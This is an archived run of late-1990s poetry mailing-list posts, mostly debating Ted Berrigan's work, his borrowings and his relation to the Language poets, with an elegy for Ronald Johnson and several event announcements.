Ted Berrigan taught a class at Naropa on Whalen, Hollo, and James Schuyler. I don't recall what year. But if Ashbery, Denby, and O'Hara were the early inspirations, W/H/S were the enthusiasms when I knew him. Does anyone know if those lectures were taped?

I still have copies of a ten-year old issue of Transfer that includes Joel Lewis's 26-page essay on The Sonnets. They're available for $5 (that includes postage).

Gary Lenhart

↑ Index

333. Gary Sullivan
Re: Ted vs. Ted-ism
Fri 6 Mar 1998

Several lines from Watten's MFA thesis, "white yellow" (submitted to the University of Iowa, early seventies):

I guess I want this to be
a kind of "Tambourine Life"
but I am not that nervous
Irish mother fucker
who put me down
in Iowa City.

Someone who has this text on hand, or more-or-less immediate access to it (Katy?) should quote it verbatim. (The above is nearly word-for-word, but line-breaks are no doubt wrong & there's maybe a missing word or two.)

I always wondered whether his (Watten's) sentiment was genuine, there, or not. Anyone know?

Gary Sullivan
[redacted]

On Friday, March 06, 1998 12:57 PM, Jacques Debrot [SMTP:[redacted]] wrote:
> Then again, this is how Barrett Watten remembers it in "After Ted" (_Aerial
> 8): "Berrigan's reading of _The Sonnets_ at Langton Street contained some of
> the greatest verbal moments in American language." And, in fact, wasn't it
> Watten himself who curated that event?

↑ Index

334. **Safdie Joseph**
Re: Ted
Fri 6 Mar 1998

Jacques said:

> Then again, this is how Barrett Watten remembers it in "After Ted"
> (_Aerial
> 8): "Berrigan's reading of _The Sonnets_ at Langton Street contained some
> of
> the greatest verbal moments in American language." And, in fact, wasn't
> it
> Watten himself who curated that event?
>
I'm glad Barry said that; this residency was the only time I ever met Ted "in the flesh," as they perhaps still say, and his reading of _The Sonnets_ on the Friday night WAS truly remarkable -- it took my breath away. Less remarkable was the panel discussion the following night with Barry, Ted, and three others holding forth on "the world" (not the literary magazine, the space we all share). I agree that it makes little sense to argue over who liked who -- one of the great things about Ted, as some have stated in this thread, was that he was so inclusive (catholic with a small c) and could find good in everything. (Rachel, wasn't it Wilbur who wrote "Love brings us to the things of this world" or some such?) I think the best teachers act in that fashion, widening our narrow prejudices, making generosity part of poetics; I remember vividly when Lowell died and I made some cynical crackpot comment and Ed Dorn severely upgraded me -- rightly. Scholars eager

to associate Ted with anti-langpo sentiment, however, may also remember a one paragraph dismissive "review" of Ted's on a book by Steven Rodefer that was a source of consternation among some, bemusement among others. But so what, really? What I actually wanted to comment on was Tom Beckett's post about Ted, when he praised him at his best, but at his worst said he was full of "formulaic sensationalism," "fun to read but . . . empty". Now come on. What, really, is BETTER than "fun to read"? What else is there? Why is pleasure ever denigrated? This made me think of O'Hara's "Personalism" when he says (not exactly, don't have it around) "What are we building people up for? For what?" Folks, poetry is not "good for us" -- thank the Gods!

↑ Index

335. **henry gould**
Re: Ted
Fri 6 Mar 1998

On Fri, 6 Mar 1998 10:37:47 -0800 Safdie Joseph said:
>full of "formulaic sensationalism," "fun to read but . . . empty". Now come
>on. What, really, is BETTER than "fun to read"? What else is there? Why is
>pleasure ever denigrated? This made me think of O'Hara's "Personalism" when
>he says (not exactly, don't have it around) "What are we building people up
>for? For what?" Folks, poetry is not "good for us" -- thank the Gods!

Joseph is pointing toward another aspect of Berrigan's work that has always struck me - he has a charismatic community organizer's energy (much like the catholic organizers out of Holy Cross, Bridgeport, Worcester, and other seedy [note: not grungy] New England places I spent many years amongst) which establishes a vortex zone or playpen for poetry - and the playpen changes the flavor of the poetry. It is "not good for us" outside of the zone of its own reality. It is "for" that reality & self-sufficient of itself. It is not didactic - it is playFUL. People DO get tired of playing sometimes, tired of the zone. Then they get "serious" and avoid the petty, the self-centered, the superficial... become ponderous, self-centered, superficial...

I have ground this axe about Berrigan before on the list (see back a few months to the "Teddy Bear" discussions), and I acknowledge & apologize for its projectivism & broad-brushism & lack of close readerism of poemism. I apologize. But what you are reading is an effect of Berrigan, just another aspect. end of post. - Henry G.

↑ Index

336. david bromige
tardy re berrigan
Fri 6 Mar 1998

One needs rise early on the west coast to be abreast of hot threads. I posted re-berrigan as soon as I'd read ron silliman's post. but my post hasnt yet appeared and meanwhile, i've read thru the rest, and while i take comfort in the amount of overlap between what i wrote and what others of you posted, i mourn the instant redundancy of my own remarks. My post will probably appear to be made entirely of appropriations--fitting yet regrettable. david

↑ Index

337. Pritchett,Patrick
Re: Responses
Fri 6 Mar 1998

This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible.

--Boundary_(ID_/z2BC9V+H8naTm8JNzRogg)

Jack - thanks for posting this info on Flashpoint. Have already read Mark Wallace's excellent piece on the anxieties and vagaries of defining a post-Language moment and recommend it to all.

I'd also like to bring to the attention of the List a compelling piece by Dan Featherston (Dan are you still on the List?) on the Holocaust poetry of Reznikoff and Rothenberg in the latest issue of Response. ____ Great thread everyone on Ted Berrigan. I immediately ran out and got Joel Lewis's wonderful book of Ted's talks. Anselm Hollo has worked weird and splendid wonders with Ted's talks in his "Lines From Ted" in _Corvus_. Here's a sample from one of them:

"... what I think happens when a poem works is
That it rises into the air of its own powers
And in doing so it has formed a circle
And it becomes something like the sun or a star
Or a planet...
I have to go now
I have to go and think about this for at thousand years."

____
Ron Silliman - I was talking last night to Andrew Schelling about Ronald Johnson and he recalled a series of talks Ron gave in Berekely one of which you participated in. Though it was Andrew's impression that RJ was a little less than kindly disposed toward LangPo. Another scurrilous barb? He also mentioned a book of concrete poetry that Johnson produced

- which I found very curious indeed. Has anyone heard of this -- or read it?

Johnson was simply a magnificent poet. One of the greatest. I can't help but feel his early passing has deprived us of who knows what great work. During a talk I gave today on Hopkins I segued into a brief eulogy for Johnson - though no one, including my professor, had ever heard of him. (I'm learning - as Don Byrd alluded to some time back - just what a dearth of poetic knowledge exists in my English Dept). Here's some lines from his AIDS elegy, "Blocks To Be Arranged in a Pyramid":

Then with a sweep
blindly eradicate
perception itself
afire with egress

everything a gift
after Totentanz
set fire to expanse
sight interminable

mountains' blue divide
nugget cloud prised
cakset of song
cast off Tomb

Patrick Pritchett

--Boundary_(ID_/z2BC9V+H8naTm8JNzRogg)

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<FONT SIZE=2>Patrick Pritchett</FONT>

</P>

</BODY>
</HTML>

--Boundary_(ID_/z2BC9V+H8naTm8JNzRogg)--

↑ Index

338. **Judy Roitman**
Re: NPR piece on DiPrima
Fri 6 Mar 1998

> *thanks for turning me on to the NPR RealAudio archives, Rachel.*
>
> *I had heard about, but missed, an interview with Diane DiPrima on Feb 18. They even let her read two poems!*

It wasn't an interview with DiPrima. We should only be so lucky. They (= Susan Stamberg?) talked to some scholar, a certain lack of vibrancy in the response shall we say ("DiPrima believes..." locutions, as if she is fixed forever) but there was more time given to Diane reading than to this other woman talking, and the pleasure of running errands and flipping on the radio and suddenly hearing DiPrima reading --- that was great!

The brief description in the beginning of DiPrima was also pretty good. It went something like "beatnik Buddhist revolutionary mother of five."

I always find it weird to read about people I know even a little, or hear them discussed, in that detached and "objective" way. Always the essence is missing. Makes me wonder why I believe what I read or hear about people I don't know.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996

---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

↑ Index

339. William Burmeister Prod
Re: Ted
Fri 6 Mar 1998

On Mar 6, 10:37am, Safdie Joseph wrote:
> What I actually wanted to comment on was Tom Beckett's post
> about Ted, when he praised him at his best, but at his worst said he was
> full of "formulaic sensationalism," "fun to read but . . . empty". Now come
> on. What, really, is BETTER than "fun to read"? What else is there? Why is
> pleasure ever denigrated? This made me think of O'Hara's "Personalism" when
> he says (not exactly, don't have it around) "What are we building people up
> for? For what?" Folks, poetry is not "good for us" -- thank the Gods!
>-- End of excerpt from Safdie Joseph

Rightly said Joe wrt fun & plezhure in poetry. It does appear that pleasure is devalued at times hereabouts. Perhaps this is just another manifestation of making light of the lite (as in lite poetry which has almost always been looked down upon). Perhaps too any denial of pleasure is only a public one. Poetry is good for us in as much as it is good for the heart -- makes us laugh or smile (wryly perhaps as we watch it subvert and civilize the wholesome). Just as long as the pleasure paradigm doesn't itself become a cliche. Funny too is that much of langpo has often been seen by Yo as being quite fun, funny, lite, etc (you know: no ideas but in thingys). I can scarcely read Coolidge, for ex., without a big, cracked smile from ear-to-ear.

William Burmeister

↑ Index

340. JBCM2
Re: Who Hired Bill Moyers to Destroy American Poetry?
Fri 6 Mar 1998

Jack: I have a dentist appointment on Monday, and it looks as though I have to have a tooth extracted, so it will be later in the week. I'm going to forward to you, fyi, a post I had from Steve Tills re: Wallace & my response. I told Steve that he should send any work of his that he thinks is exciting.

Joe

↑ Index

341. k. lederer
Re: Ted vs. Ted-ism
Fri 6 Mar 1998

I'll go see if I can find his thesis--

I've always thought it more polite, perhaps, not to check these out--

So many graduates are ashamed of their theses--

Best,
Katy

On Fri, 6 Mar 1998, Gary Sullivan wrote:

> *Several lines from Watten's MFA thesis, "white yellow" (submitted to the University of Iowa, early seventies):*
>
> *I guess I want this to be*
> *a kind of "Tambourine Life"*
> *but I am not that nervous*
> *Irish mother fucker*
> *who put me down*
> *in Iowa City.*
>
> *Someone who has this text on hand, or more-or-less immediate access to it (Katy?) should quote it verbatim. (The above is nearly word-for-word, but line-breaks are no doubt wrong & there's maybe a missing word or two.)*
>
> *I always wondered whether his (Watten's) sentiment was genuine, there, or not. Anyone know?*
>
> *Gary Sullivan*
> [redacted]
>
> *On Friday, March 06, 1998 12:57 PM, Jacques Debrot [SMTP:*[redacted]*] wrote:*
> *Then again, this is how Barrett Watten remembers it in "After Ted" (_Aerial 8): "Berrigan's reading of _The Sonnets_ at Langton Street contained some of the greatest verbal moments in American language." And, in fact, wasn't it Watten himself who curated that event?*

↑ Index

342. **Eric Blarnes**
no subject
Fri 6 Mar 1998

RIGHT ABOUT ONE THING

The boys all wanta be teddy bears
today in the playpen and
bearish girls are gonna growl
I wanta man

- Eric Blarnes

↑ Index

343. **Jacques Debrot**
Re [private]:"The world has my flesh on"
Fri 6 Mar 1998

Hi Gary,

I'd love a photocopy of the edition you mention -- & of the _Arshille_. You have my s-address, right? Is there anything not available in Butler that you'd like me to photocopy for you from Widener/Lamont? Just let me know.

Jacques

↑ Index

344. **Jacques Debrot**
Re: ooooops!!
Fri 6 Mar 1998

---

meant to back-channel last message, sorry.

↑ Index

345. **Gary Sullivan**
Re: Ted vs. Ted-ism
Fri 6 Mar 1998

Thanks, Katy:

But, tentativeness with respect to reading theses? They're written w/the knowledge they'll be more-or-less "available" to the public, & are usually housed in libraries. Journals & letters--*very* private things--might be more worthy of second thoughts prior to looking into . . . thinking back to an earlier thread . . .

Yours,

Gary

On Friday, March 06, 1998 3:17 PM, k. lederer
[SMTP:[redacted]] wrote:
> I'll go see if I can find his thesis--
>
> I've always thought it more polite, perhaps, not to check these out--
>
> So many graduates are ashamed of their theses--
>
> Best,
> Katy

↑ Index

346. **david bromige**

langpo & berrigan (this seems not to have gone thru--my later note re-this post did. so i try again.)

Fri 6 Mar 1998

> *To:[redacted]*
> *From:[redacted] (david bromige)*
> *Subject:langpo & berrigan*
>
> *I second Ron Silliman's post this a.m. re this topic. I recall the Berrigan/Stanley "Grand Piano" reading fairly well--Ted and George were in the lion's den of langpo in that place and series, amnd it was a huge audience, we were sitting on the floor, on knees, on laps (just what you've heard about San Francisco)...It was either that visit or one next year that Berrigan had a residency or at least a reading at 80 Langton Street, then the most langpo of institutions. This was equally well-attended.*
>
> *I'm not saying the perception of a langpo/Berrigan oppositive split is wrong. I would locate it in that wonderful sentence of Frank O'Hara, "When someone is chasing you down the street with a knife you dont turn round and shout 'Give it up, I was a track star for Minneola Prep' ". There was that tough, streetwise, pose among many of the 'children of Frank' aka 2nd gen NY School, and one can see how it could also becom anti-intellectual, in hands less capable than Berrigan's. Langpos werent necessarily declaring themselves intellectuals first, poets second, but many of them were attempting a large-scale renovative program that demanded systematic analysis of one might call it The Poem Today.*
>
> *The NY endeavor also involved a cult of personality, as Ron remarks (more or less), which was confusing if not offensive to other young poets who*

were coping with the Death of the Author. But Berrigan's work displaced any Lowellean sense of "I". And there was certainly much overlapping of technique between these tribes. You can appropriate lines from other poets towards both ends, both kinds of poetry. For what these terms are worth (and IMHO they fade in usefulness as one approaches specific texts), both NY further gens and langpo could claim "The Sonnets" as ur-work. I talked with a seminar somewhere this year about that book, which is considerably easier to read today than it was in 1964, and for that reason, even more compelling. Glad to know its coming out with Penguin.

As a P.S., I'd say that the case of Tom Clark is illustrative here. When Alan Sondheim posted Clark's poem "you" the other day, I read the header and remembered a wonderful poem of that title by Clark, and was surprised to find that he had written another fine poem of the same title. The "You" I know was in an early book, I think _Stones_ . It has a spacious range thru its quotings of many poets from several eras; Hoelderlin I think is much used, and gives a tone to the piece that withstands what is merely smart-ass. It knocked me out of my tree when I read it and I believed there would be more to come of that multi-layered risk-taking from Tom Clark. In the event, I haven't been able to congratulate myself on my perspicacity on that matter. And in the meantime, Clark has used intellectual-baiting ((rather than considered engaged argument) in his journalistic attacks on langpo.

It's a huge subject. Class attitudes are important in it also. Ted has that blue-collar tone as part of his poetry's appeal, a 'cut-right-thru' ability that reminds me of my brother-in-law saying, when he evaluated my disintegrating '72 Caddy Grand Prix, "there's only so many things you can do with a Nehru jacket." The brilliance of the American language sometimes doesnt appear to leave space for dialectical appeals. But Ted went to college and was omnivorous. I agree with Ron that certain acolytes derived more import from that tone than Ted himself did.

But he did remain mindful that in his potential audience would be such expectations. He wanted to be the greatest, didnt he? If it's true that by now, only other poets read poetry, then we're all poets' poets, and I suppose some are poets'-poets' poets. I think Ted was that, but that wasn't all he was. He broadened his base. Could be that this hard-to-digest stuff we've been hearing here lately re-moral stands of the necessarily isolato poet continues this intention to carry The Word to people who won't read Adorno or Deleuze. But it wouldnt surprise me to learn Ted had read either. I'm just not aware that he incorporated any of their material in his poems. David

↑ Index

347. david bromige
ashamed of our theses
Fri 6 Mar 1998

Toilet-training leaves a lot to be desired.

George Bowering
34768 The Gt. Hiway
Spuzzum BC Ca

↑ Index

348. hen
Re: langpo & berrigan (this seems not to have gone thru--my later note re-this post did. so i try again.)
Fri 6 Mar 1998

On Fri, 6 Mar 1998 13:10:28 -0800 david bromige said:
>>
>>But he did remain mindful that in his potential audience would be such
>>expectations. He wanted to be the greatest, didnt he? If it's true that by
>>now, only other poets read poetry, then we're all poets' poets, and I
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>>people who won't read Adorno or Deleuze. But it wouldnt surprise me to
>>learn Ted had read either. I'm just not aware that he incorporated any of
>>their material in his poems. David

Remarkable post from DB. Actually Berrigan seems the complete opposite
of isolato poet. But perhaps it's not for nothing that this ego lives
near the "Cranston Line". I firmly believe I got into college because of
Ted Berrigan [my college application included an extended adolescent
imitation of "Tambourine Life". I'm sure Jeff Hansen will be happy
to dig it up out of Blake School TALISMAN]. So he can't be all anti-
intellectual if he gets kids into college. But speaking of carrying the
Word - isolato is trying to carry it to all them poet's poet's poet's
poet's poet's [infinity] poets who DO read Adorno etc., Lawdy hep em.
- Henry Gould
>>

↑ Index

349. **k. lederer**
Re: ashamed of our theses
Fri 6 Mar 1998

I'm not sure how to take this witty reply--

I guess, though--to clarify.

Turning in a thesis is not the same as publishing--

One has to turn a thesis in order to get the degree--

One does not have to publish a book--

Some of the theses turned in here are, in fact, books (Doug Powell's wonderful book, Tea, just out on Wesleyan, is basically his "thesis"--). Others are simply first attempts at organizing peoms--or compendiums or whatever--

Martin Corless-Smith's thesis is nothing like his recent and incredible book Of Piscator--

etc.

Best,
Katy

On Fri, 6 Mar 1998, david bromige wrote:

> *Toilet-training leaves a lot to be desired.*
>
> *George Bowering*
> *34768 The Gt. Hiway*
> *Spuzzum BC Ca*

↑ Index

350. **Joshua N Schuster**
CFP: Other Voices - Psychoanalysis and Culture (5/31; Journal Issue) (fwd)
Fri 6 Mar 1998

a friend asked me to forward this to the list.

Vance Bell wrote:
>
> CFP: Other Voices - Psychoanalysis and Culture (5/31; Journal Issue)
>
> The editors of the electronic journal Other Voices are seeking papers on
> Psychoanalysis and Culture for a forthcoming issue of the journal. We are
> interested in psychoanalytic interpretations of a variety of cultural
> events, relations and artifacts. Papers employing diverse strategies are
> welcome; purely theoretical, specifically literary, oppositional or
> dialogic. Submissions may address, but are not limited to:
>
> * psychoanalytic interpretations of cultural artifacts and
> manifestations
> * the role of psychoanalysis at the end of the century
> * cultural/commodity fetishism
> * mass or event psychology
> * the use of schizoanalysis
> * integrating object-relation theory and cultural analysis
> * the practice of psychoanalysis
> * reviews essays of recent secondary literature
>
>
> Traditional academic essays should generally fall between 3500 and 7000
> words. We are also seeking non-traditional submissions, interviews,
> hypertext/multimedia projects and book reviews.
>
> All submissions are due April 30, 1998. Please email one hard copy and
> one electronic copy (floppy disc, or email attachment) to:
>
> Other Voices
> Attn: Vance Bell
> P.O. Box 31907
> Philadelphia, PA 19104
> [redacted]
>
> Direct all questions/comments to the same.
>
>
>

↑ Index

351. Steve Tills
Re: ashamed of our theses
Fri 6 Mar 1998

And Desire TP leaves, too.

Hi, David! See ya Monday with the other Troubadors.

Steve

david bromige wrote:

> *Toilet-training leaves a lot to be desired.*
>
> *George Bowering*
> *34768 The Gt. Hiway*
> *Spuzzum BC Ca*

↑ Index

352. J. Kuszai
Heybabe (fwd)
Fri 6 Mar 1998

what follows is info. about a fiction reading series hosted by Lara Stapleton in New York. For more info. please contact her directly.

---------- Forwarded message ----------
Date: Fri, 6 Mar 1998 14:58:58 -0500 (EST)
From: [redacted]
To: [redacted]
Subject: Heybabe

-- as we discussed on the phone, here is the info for my second reading -- in which I'm reading. The first one went well, about forty people, and I think it can only build from here!!!!

The Golden Room : A Gathering Place for New York's Finest Young Fiction Writers and Readers To be held the last Saturday of every month at the Nuyorican Poets' Cafe. Bring copies of work for a swap table. Our goal is to create a community of writers who believe in interesting work; the subtle, the complex, the absurd.

Second Reading:

Charlotte Warren and Lara Stapleton
4pm
Saturday, March 28th
Nuyorican Poets' Cafe

236 E. 3rd St. tw. B & C (take the F to 2nd Ave.)
$6

↑ Index

353. David Zauhar
Re: ashamed of our theses
Fri 6 Mar 1998

On Fri, 6 Mar 1998, k. lederer wrote:

> I'm not sure how to take this witty reply--
>
> I guess, though--to clarify.
>
> Turning in a thesis is not the same as publishing--
>
> One has to turn a thesis in order to get the degree--
>
> One does not have to publish a book--
>
 Well, to my knowledge no one has ever been forced to get a degree, either.

DZauhar

↑ Index

354. John Norton ([redacted])
CrossConnect Web 'zine
Fri 6 Mar 1998

Hi all,

I want to call your attention to CrossConnect, a tri-quarterly electronic magazine of contemporary writing based at U. of Penn. You can find the current issue at the following URL:

    http://ccat.sas.upenn.edu/xconnect/

FYI, I have a couple of pieces in it.

Regards--

John Norton

↑ Index

355. **Steve Shoemaker**
Re: reznikoff's girder take 3
Fri 6 Mar 1998

Well this little mini-thread may have completely unspooled by now, BUT I think one way of looking at the Rez poem is as being about *survival*. It's one of the ones Oppen remembered when he was lying in the foxhole, wounded, among some others who were dead. Was it "anti-democratic" of Oppen to be alive? He *did* feel guilty, but there it was, a fact.

dizzily, steve-with-an-inner-ear-infection

↑ Index

356. **Pritchett,Patrick**
Re: In Memoriam
Fri 6 Mar 1998

This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible.

--Boundary_(ID_vPrH/ktKY05MwT3orDnM9Q)

In Memoriam

Ronald Johnson, 1935-1998

In ark-dive,
grey encomium.
Grey imperium of
the all-day rust-dawn
-ed day.
If amen, then a willow
& its sibilance too.
Or water bluster
in stone-cracked creek.
Force of lone stone empty
on an earth swept
wide.
And stricken by
late winter-sun-and-lance.
By this tide, great gong:
ever-and-a-going
gone.
We go so -- in measure-
less tread, dividing
song from wing.

Particle-cleave, (parousia)
your run is ended.
A nascent valence
resumes.
Foremost among foot-
falls and sober
in Elysium to be going
if light there is ever sober
or windonsea any-
thing but claritas,
supra urbem, supra sapientia,
bells building spire
on spire in the true
font of soul+s un-
encrypted in-
scription.

(Hover a while.
Breathe this and be glad
of it.

Patrick Pritchett

--Boundary_(ID_vPrH/ktKY05MwT3orDnM9Q)

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<FONT SIZE=2>in stone-cracked creek.</FONT>

<FONT SIZE=2>Force of lone stone empty</FONT>

<FONT SIZE=2>on an earth swept</FONT>

<FONT SIZE=2>wide.</FONT>

<FONT SIZE=2>And stricken by</FONT>

<FONT SIZE=2>late winter-sun-and-lance.</FONT>

<FONT SIZE=2>By this tide, great gong:</FONT>

<FONT SIZE=2>ever-and-a-going</FONT>

<FONT SIZE=2>gone.</FONT>

<FONT SIZE=2>We go so -- in measure-</FONT>

<FONT SIZE=2>less tread, dividing</FONT>

<FONT SIZE=2>song from wing.</FONT>

<FONT SIZE=2>Particle-cleave, (parousia)</FONT>

<FONT SIZE=2>your run is ended.</FONT>

<FONT SIZE=2>A nascent valence</FONT>

<FONT SIZE=2>resumes.</FONT>

<FONT SIZE=2>Foremost among foot-</FONT>

<FONT SIZE=2>falls and sober</FONT>

<FONT SIZE=2>in Elysium to be going</FONT>

<FONT SIZE=2>if light there is ever sober</FONT>

<FONT SIZE=2>or windonsea any-</FONT>

<FONT SIZE=2>thing but claritas,</FONT>

<FONT SIZE=2>supra urbem, supra sapientia,</FONT>

<FONT SIZE=2>bells building spire</FONT>

<FONT SIZE=2>on spire in the true</FONT>

<FONT SIZE=2>font of soul+s un-</FONT>

<FONT SIZE=2>encrypted in-</FONT>

<FONT SIZE=2>scription.</FONT>

        <FONT
SIZE=2>(Hover a while.</FONT>

        <FONT
SIZE=2>Breathe this and be glad</FONT>

        <FONT
SIZE=2>of it.</FONT>

<FONT SIZE=2>Patrick Pritchett</FONT>
</P>

</BODY>
</HTML>

--Boundary_(ID_vPrH/ktKY05MwT3orDnM9Q)--

↑ Index

357. **k. lederer**
Re: ashamed of our theses
Fri 6 Mar 1998

Boring....

On Fri, 6 Mar 1998, David Zauhar wrote:

> *On Fri, 6 Mar 1998, k. lederer wrote:*
>
> *I'm not sure how to take this witty reply--*
>
> *I guess, though--to clarify.*
>
> *Turning in a thesis is not the same as publishing--*
>
> *One has to turn a thesis in order to get the degree--*
>
> *One does not have to publish a book--*
>
> *Well, to my knowledge no one has ever been forced to get a degree, either.*
>
> *DZauhar*

↑ Index

358. **Rachel Loden**
Berrigan's bedfellows
Fri 6 Mar 1998

Tom Beckett wrote:

> *At its best, Berrigan's work stands up there with anyone's. At its worst, it tends toward some of the same self-indulgences Bukowski practiced--a kind of formulaic sensationalism that can be fun to read but analogous to the "empty calories" of _____(Fill in the blank with your favorite junk commestible*

Hmm, not new formalists but new formulaic sensationalists! I might just enlist--any relation to Ashbery's sect of "ascetic sensualists" with its eleven funerals? I

do think comparing Bukowski with Berrigan (even at his weakest) is pretty wide of the mark, even though they're both dead.

Apparently I haven't been able to lure Pierre out of lurkerdom long enough to name his favorite bad poets. No intent (at all) to tweak him--I really wanted to know (and think this would be an important clue to the work of any significant writer).

My point was a serious one, and it's that we don't learn only where we think we SHOULD learn. That learning, perhaps a bit like "falling in love," is cheerfully random, and makes for odd bedfellows. I only wish Berrigan's catholicity of taste were more fashionable today--inbreeding, seems to me, makes for pale and squeamish poetry.

Rachel Loden

↑ Index

359. Schuchat Simon
Re: Ted vs. Ted-ism
Fri 6 Mar 1998

A couple more notes.

Ron S. remarks in his first post that Ted B would have disapproved of certain kinds of attention, and thus former students have not written as much about him as about others. First, I don't think Ted objected to attention to either his poetry or his person, and second, there is actually an enormous memoir literature about Ted, as well as the Scalapino interview book and the Joel Lewis lectures book, so that I would say he is reasonably well documented. Don't getme wrong, I would be overjoyed to have a collected complete poems, I would be interested in published volumes or selections from Ted's notebooks/journals, and I would love to read a biography ala Unterecker on Hart Crane or a critical study like Perloff onO'Hara. But among non-academic post WWII poets, besides Ginsberg, O'Hara, Spicer, Snyder, Baraka and Ashbery, who has received more attention?

Second, there has been some surprise about Ted's liking for certain academic poets (the Wilbur poem Ted told me he liked was the one about laundry, in which the line "Love calls us to the things of this world" appears, I think) and some discussion whether "language poets" approved of him or not. First, the Berrigan of the language poets (author of The Sonnets) is not everybody's Berrigan. Second, among the poets whose work Ted did not like so much were several important language ancestors, e.g., Jackson MacLow and Louis Zukofsky. Partly this was Ted responding to the downtown fashions around the time he first "came on the scene," and partly because he did his real appropriations (not

lines, but structural ideas) from these guys -- he said that Jackson was too serious about himself and that Zukofsky's Catullus wasn't funny, when it ought to have been. But at least the education I absorbed from Ted, after the obvious like Denby O'Hara Schuyler Whalen Hollo Ashbery, was tilted towards certain academic poets -- F.T. Prince and not Richard Howard -- and based on the idea that if you could get away with it, it was better to be influenced by and steal from Shakespeare than Ezra Pound.

In philosphy, Ted read assiduously and was influenced by Alfred North Whitehead, not some jackoff German or Frenchman!

Finally, how about Bean Spasms (the book)? That book is totally great! Why doesn't somebody reprint it!

↑ Index

360. David Zauhar
Re: ashamed of our theses
Fri 6 Mar 1998

On Fri, 6 Mar 1998, k. lederer wrote:

> *Boring....*

Gee, I'm sorry: how 'bout this: look at a thesis as an extremely limited edition of your work.

Dave Zauhar, the typhoid mary of narcolepsy

> *On Fri, 6 Mar 1998, David Zauhar wrote:*
>
> *On Fri, 6 Mar 1998, k. lederer wrote:*
>
> *I'm not sure how to take this witty reply--*
>
> *I guess, though--to clarify.*
>
> *Turning in a thesis is not the same as publishing--*
>
> *One has to turn a thesis in order to get the degree--*
>
> *One does not have to publish a book--*
>
> *Well, to my knowledge no one has ever been forced to get a degree, either.*
>
> *DZauhar*

↑ Index

361. **Steve Shoemaker**
Re: "The world has my flesh on"
Fri 6 Mar 1998

The speculations on Berrigan's class background that have come up seem to me pretty fruitful ones. But this connection between his "lower class" status and "thievery" has come up a couple of times now--and without wanting to sound righteous or anything, it has always seemed to be that the wealthy do the best stealing. You may not notice the book missing from your shelf--it probably just didn't get written in the first place. steve

At 01:06 PM 3/6/98 -0500, you wrote:
>Hi, Erik:
>
>Sorry, I should have back-channeled you the Sonnets ordering info. I'll keep my
>eyes peeled for another. "Some dim frieze," which opens the book, refers to
>something Berrigan saw on the Columbia University campus, so in return,
>Columbia will pick up the tab if you'd like a photocopy of that edition in the
>meantime. (Or, if any of the "crows" want one.) Just lemme know. I also have
>the poems from Arshille, if you want a photocopy of that.
>
>Of course, it doesn't finally matter what lines are from where, so long as the
>poem works. But, it's also interesting, interesting to me anyway, to think of
>his thievery in the contexts of: (a) his class & the extent to which his
>aesthetic impulses might be thought of as class-based; and (b) what his
>prolific re-use of others's lines (including his own) means in terms of how he
>experienced language: "The world has my flesh on," as Vincent Ferrini once
>wrote. I think this ties in very nicely with another sub-thread on this list:
>His openness to a relatively wide spectrum of poetries. That's a specific form
>of being, a particular way of moving through the world, & through the world of
>letters.
>
>I'm going to see the woman who runs Pomander Books tonight & so I'll see if I
>can get the name of the crow who swept off with your _Sonnets_--then you or I
>can build an altar or whatever & Berrigan's ghost (which truly will never die)
>will go beat him or her up.
>
>Have fun,
>

>Gary Sullivan
>[redacted]
>
>

↑ Index

362. **david bromige**
re : the typhoid mary of narcolepsy
Sat 7 Mar 1998

I propose we give the self-characterization of the week award to dave zauhar for the above. Not that it's accurate to him, but it's accurate to someone, maybe someone you havent met yet. It's wild! As my teenager says, "Cool". Woody Allen will appropriate it, I suppose : "Wh-wh-who you think I am? Y-y--you treat me like I'm the . . ." But he should pay dave zauhar a lot of money for its use. Thank you, Dave! David

↑ Index

363. **TBeck131**
berriganagain/sacred cows?
Sat 7 Mar 1998

I'm hardly anti-fun & I'm not anti-Berrigan. However, biography is put to use as part of Berrigan's poetic methodology. Sometimes the results are sublime, but the pitfalls are there to be seen.

Bukowski and Berrigan--I don't want to belabor this. TB's obviously the better writer. There is, however, a broad comparison to be made on the basis of the presentation of self in the work. Bukowski: I woke up, threw up, drank a beer, went to the track, got laid, threw up, drank a beer...etc. Berrigan: I woke up, drank a Pepsi, popped some pills, did this, did that, drank a Pepsi, popped some pills, etc. Sometimes a manner comes to matter too much and gets in the way. I was pointing to this when I used the phrase "formulaic sensationalism."

Wrapping his work with his biography makes it difficult to criticize the work without seeming to criticize the author. I think that this is a modest but important point. Berrigan took a lot of risks --in his work and in his life. He wasn't always successful. Who is?

Tom Beckett

↑ Index

364. **Douglas**
reading
Sat 7 Mar 1998

Douglas Messerli and Chris Reiner will
be reading at Canessa Park Art Center
on Sunday at 4:00 in San Francisco.

That's March 8th.

If you're in San Francisco, see you there!

↑ Index

365. **Michael McColl**
Berrigan/Thievery/Acker
Sat 7 Mar 1998

Just curious--what is it that Kathy Acker's fiction was taken up by some critics and championed precisely because she "plagiarized," attacked the idea of the "true, original voice," etc. while the dis- cussion of Berrigan seems to suggest that he is somehow still under suspicion of having committed crimes. Also, I think it's good to remember when these issues come up that way back when in English poetry (please, someone with a bit of scholarship, help me out here) it was accepted practice to take over a line of poetry from a contemporary and rewrite it for your own poem.

Mike McColl

↑ Index

366. **joel lewis**
ted & langpo
Sat 7 Mar 1998

---

i do feel there was mutual respect between ted & many of the language poets -- why invite him to 80 langton street, just to harass him.

the idea that langpoets where hostile to ted is part tom clark's comments and part of the politics around the po project in the early 80's.

there was a great deal of hostility between ted'd accolytes and langpoets in those days. in those days, wed readings would team up a st, mark's poet and a lnag poet (i remember elinor nauen & diane ward as an example). Depending on who read first, there would be a walkout by many of the followers of teh first reader. this was repeated in smaller venues and earinn had entirely different audeinces based on who was curating the series.

in addition to poetry wars, there were style clashes. st. marks poets where still doing mimeo books, while language poets had moved onto perfect bound books and mags. there was a vast economic difference--many st. marks poets had no visible means of support, while some langauge poets, like james sherry, worked day gigs and a poet Bruce Andrew was a tenured professor. and then there was politics--st. marks ranged from apolitical to a nostalgic romanticism for the poet-warriors of nicaragua/ laanguage poetry was fairly identified with neo-marxism and post-structuralism. and then there was cultural prefernces -- while many st markers where forming punk bands, poets like charles b. & bruce a. where working with zorn, sally silvers, arakawa & others

